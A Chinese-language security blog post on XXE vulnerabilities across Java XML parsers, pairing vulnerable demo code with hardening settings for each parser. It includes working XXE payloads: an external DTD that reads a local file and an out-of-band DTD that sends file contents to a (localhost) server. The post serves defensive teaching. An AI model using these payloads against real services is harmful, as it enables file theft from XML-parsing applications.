Yoga7xm's Blog

XXE in Java

字数统计: 2.6k阅读时长: 12 min
2020/02/17 Share

Abstract

之前接触的XXE基本都是php的,但是libxml在2.9.0以后,默认不解析外部实体,这就大大减少了漏洞的发生…所以来看看Java中XXE的情况

XML-DTD文件格式

1
2
3
4
<!DOCTYPE 根元素 [<!ENTITY 内部普通实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY 外部普通实体名 SYSTEM "外部实体的URI">]>
<!DOCTYPE 根元素 [<!ENTITY % 内部参数实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY % 外部参数实体名 SYSTEM "外部实体的URI">]>

DocumentBuilder

DocumentBuilder是Java中常用的XML文档解析工具,是基于 DOM(文档对象模型)的解析方式,把整个XML文档加载到内存并转化成DOM树,因此应用程序可以随机访问DOM树的任何数据。

测试XML数据:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo SYSTEM "http://127.0.0.1:8080/xxe.dtd" >
<message>
<to>Kobe</to>
<from>James</from>
<text>&tmp;</text>
</message>

测试DTD数据:

1
<!ENTITY tmp SYSTEM "file:///e://1.txt">

测试Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
import java.io.File;
public class dbuilder {
public static void main(String[] args) {
File file = new File("test.xml");
//DocumentBuilderFactory是一个抽象工厂类,不能直接实例化
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
try{
//获取Dom模式解析对象
DocumentBuilder builder = factory.newDocumentBuilder();
//读取xml文件
Document document = builder.parse(file);
//获取名为 message 节点
NodeList nodeList = document.getElementsByTagName("message");
Element e = (Element) nodeList.item(0);
//根据节点名称获取值
System.out.println("To: " + e.getElementsByTagName("to").item(0).getFirstChild().getNodeValue());
System.out.println("From: " + e.getElementsByTagName("from").item(0).getFirstChild().getNodeValue());
System.out.println("Text: " + e.getElementsByTagName("text").item(0).getFirstChild().getNodeValue());
} catch (Exception e) {
e.printStackTrace();
}
}
}

运行一下

成功加载外部实体文件并读取1.txt文件内容

网上流传最广的一种(伪)修复方法是:factory.setExpandEntityReferences(false);我们尝试添加这个配置项进去

【注】:这里要说明下,设置配置项需要放在实例化DocumentBuilder之前,如果顺序反了是没有用的

然后运行

OOB攻击成功,但是使用通用回显的payload仍然会去访问dtd文件,最后回显内容为NULL。方法注释定义如是说到:

Specifies that the parser produced by this code will
expand entity reference nodes. By default the value of this is set to
true

@param expandEntityRef true if the parser produced will expand entity
reference nodes; false otherwise.

此方法作用于XML解析后生成的文档。setExpandEntityReferences设置为true则展开实体引用到生成的文档中替换掉&xx的实体引用声明,setExpandEntityReferences设置为false则保留实体引用声明的DOM树在生成的文档中

举个例子来说

1
2
3
4
5
6
<!DOCTYPE foo [
<!ENTITY xxe "test">
]>
<document>
<title>&xxe;</title>
</document>

设置了setExpandEntityReferences为true(默认)的时候,解析后生成的文档树的结构是这样的

1
2
3
+- document
+- title
| +- #text:test

如果设置为false,那么结构为

1
2
3
4
+- document
+- title
| +- xxe
| +- #text:test

所以说这个设置是作用于解析之后的文档,对防御XXE并没有什么用处

官方防御

传送门

1
2
3
4
5
6
7
8
9
10
11
// 禁止加载外部实体
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
// 禁止加载参数实体
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
// 禁止加载外部DTD
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

一般来说禁用DTD就能防御大多数下的XXE

非官方防御

1
2
FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing";
dbf.setFeature(FEATURE, true);

SAXReader

Flexible XML framework for Java.

测试Demo(需下载dom4j.jar然后添加到项目中)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import java.io.File;
import java.util.List;
public class SaxReader {
public static void main(String[] args) throws DocumentException {
File file = new File("xxe.xml");
SAXReader saxReader = new SAXReader();
try {
Document document = saxReader.read(file);
Element root = document.getRootElement();
List<Element> childs = root.elements();
for (Element child : childs) {
String name = child.getName();
String value = child.getText();
System.out.println(name + ":" + value);
}
} catch (Exception e){
e.printStackTrace();
}
}
}

POC

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://127.0.0.1:8080/xxe.dtd">
%remote;
]>
<message>
<to>Kobe</to>
<from>James</from>
<text>&tmp;</text>
</message>

运行代码

【注】:加载外部dtd需要在根元素中的声明中加载,才会触发XXE

防御

1
2
3
4
5
6
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
builder.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
Document doc = builder.build(InputSource);

然后运行所有的poc均报错

1
org.dom4j.DocumentException: Error on line 2 of document file:///E:/javademo/light/oob.xml : 将功能 "http://apache.org/xml/features/disallow-doctype-decl" 设置为“真”时, 不允许使用 DOCTYPE。

SAXParser

测试Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.xml.sax.HandlerBase;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.File;

public class SaxPaser {
public static void main(String[] args) {

File file = new File("oob.xml");
SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
try {
SAXParser saxParser = saxParserFactory.newSAXParser();
saxParser.parse(file, (HandlerBase) null);
} catch (Exception e) {
e.printStackTrace();
}
}
}

POC

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://127.0.0.1:8080/bypass.dtd">
%remote;
]>
<message>
<to>Kobe</to>
<from>James</from>
<text>&internal;</text>
</message>
1
2
3
<!ENTITY % file SYSTEM "file:///e://1.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8080/?%file;'>">
%all;

运行查看结果

显然OOB攻击成功,我们来看官方给出来的防御手段

1
2
3
4
saxParser.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxParser.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxParser.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
saxParser.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

SAXBuilder

SAXBuilder是一个JDOM解析器 能将路径中的XML文件解析为Document对象

测试demo(同样需要下载jar包,然后导入项目中)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.jdom2.Document;
import org.jdom2.Element;
import java.io.File;
import java.util.List;
public class SAXBuilder {
public static void main(String[] args) {
File file = new File("xxe.xml");
org.jdom2.input.SAXBuilder saxBuilder = new org.jdom2.input.SAXBuilder();
try{
Document document = saxBuilder.build(file);
Element root = document.getRootElement();
List<Element> childs = root.getChildren();
for (Element child:childs){
String name = child.getName();
String value = child.getValue();
System.out.println(name + ":" + value);
}
}catch (Exception e){
e.printStackTrace();
}
}
}

运行查看效果

成功获取了目标文件内容,查看官方防御

1
2
3
4
saxBuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxBuilder.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxBuilder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
saxBuilder.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

SAXTransformer

测试Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.xml.transform.sax.SAXTransformerFactory;
import javax.xml.transform.stream.StreamSource;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

public class SAXTransformer {
public static void main(String[] args) throws Exception {
File file = new File("oob.xml");
InputStream inputStream = new FileInputStream(file);
SAXTransformerFactory factory = (SAXTransformerFactory) SAXTransformerFactory.newInstance();
StreamSource source = new StreamSource(inputStream);
factory.newTransformerHandler(source);
}
}

运行查看效果

官方补丁

1
2
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

XMLReader

XMLReader是XML解析器的SAX2驱动程序必须实现的接口, 此接口允许应用程序在解析器中设置和查询功能和属性,注册事件处理程序以进行文档处理,以及启动文档解析。

测试demo

1
2
3
4
5
6
7
8
9
10
11
12
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;

import java.io.File;

public class xmlreader {
public static void main(String[] args) throws Exception {
File file = new File("oob.xml");
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.parse(String.valueOf(file));
}
}

运行查看效果

防御手段

1
2
3
4
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
saxReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

Schema

demo

1
2
3
4
5
6
7
8
9
10
11
12
import javax.xml.XMLConstants;
import javax.xml.transform.Source;
import javax.xml.transform.stream.StreamSource;
import javax.xml.validation.SchemaFactory;
import java.io.File;

public class Schema {
public static void main(String[] args) throws Exception{
File file = new File("oob.xml");
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Source source = new StreamSource(file);
schemaFactory.newSchema(source);

运行查看效果

官方给出的修复手段为

1
2
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

和上一个Reader的修复方法一致

Transformer

1
2
3
4
5
6
7
8
9
10
11
12
13
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMResult;
import javax.xml.transform.stream.StreamSource;
import java.io.File;

public class Transformer {
public static void main(String[] args) throws Exception {
File file = new File("oob.xml");
TransformerFactory factory = TransformerFactory.newInstance();
StreamSource source = new StreamSource(file);
factory.newTransformer().transform(source, new DOMResult());
}
}

运行查看

修复手段也和上面两个一致

1
2
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

ValidatorSample

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.xml.transform.Source;
import javax.xml.validation.Schema;
import javax.xml.validation.SchemaFactory;
import javax.xml.validation.Validator;
import java.io.File;

public class ValidatorSample {
public static void main(String[] args) throws Exception{
File file = new File("oob.xml");
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();
validator.validate((Source) file);
}
}

运行查看效果

修复方法

1
2
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

Unmarshaller

测试Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.xml.bind.JAXBContext;
import javax.xml.bind.Unmarshaller;
import java.io.File;

public class Unmarsh {
public static void main(String[] args) throws Exception {
File file = new File("oob.xml");
Class tclass = Unmarsh.class;
JAXBContext context = JAXBContext.newInstance(tclass);
Unmarshaller unmarshaller = context.createUnmarshaller();
Object obj = unmarshaller.unmarshal(file);
tclass.cast(obj);
}
}

运行一下

在默认配置下的时候是不存在XXE漏洞的

关于防御

纵观所有的修复方案大致可分为两种:

  • 设置feature的方式
  • 修改XMLConstants库配置文件

再说下这几个feature

  1. disallow-doctype-decl

默认为False,表示是否禁用DTD,如果启用了该配置项只要尝试在XML中定义DOCTYPE,就会报错,完全就修复了XXE,但是可能会出现一些不兼容的问题。

  1. external-general-entities

默认为True,表示是否包含外部普通实体,如果关闭该配置项就不会解析外部普通实体,但是能够解析内部普通实体

解析存在外部参数实体的XML时,虽然会发送外部请求但是在解析的时候就报错退出了

  1. external-parameter-entities

默认为True,表示是否包含参数实体,如果关闭该配置项就会不支持解析参数实体,但是可以外部普通实体实现攻击

  1. load-external-dtd

默认为True,表示是否加载外部DTD,如果关闭该配置项表示不会加载DTD文件。但是仍然能使用外部普通实体进行攻击

总之,修复的话要么配置第一条,要么同时配置下面三条。

Reference

https://mp.weixin.qq.com/s/bTeJYzUN9T1u-KDZON5FiQ

http://www.lmxspace.com/2019/10/31/Java-XXE-%E6%80%BB%E7%BB%93/

https://www.mi1k7ea.com/2019/02/13/XML%E6%B3%A8%E5%85%A5%E4%B9%8BDocumentBuilder/

CATALOG
  1. 1. Abstract
  2. 2. DocumentBuilder
  3. 3. SAXReader
  4. 4. SAXParser
  5. 5. SAXBuilder
  6. 6. SAXTransformer
  7. 7. XMLReader
  8. 8. Schema
  9. 9. Transformer
  10. 10. ValidatorSample
  11. 11. Unmarshaller
  12. 12. 关于防御
  13. 13. Reference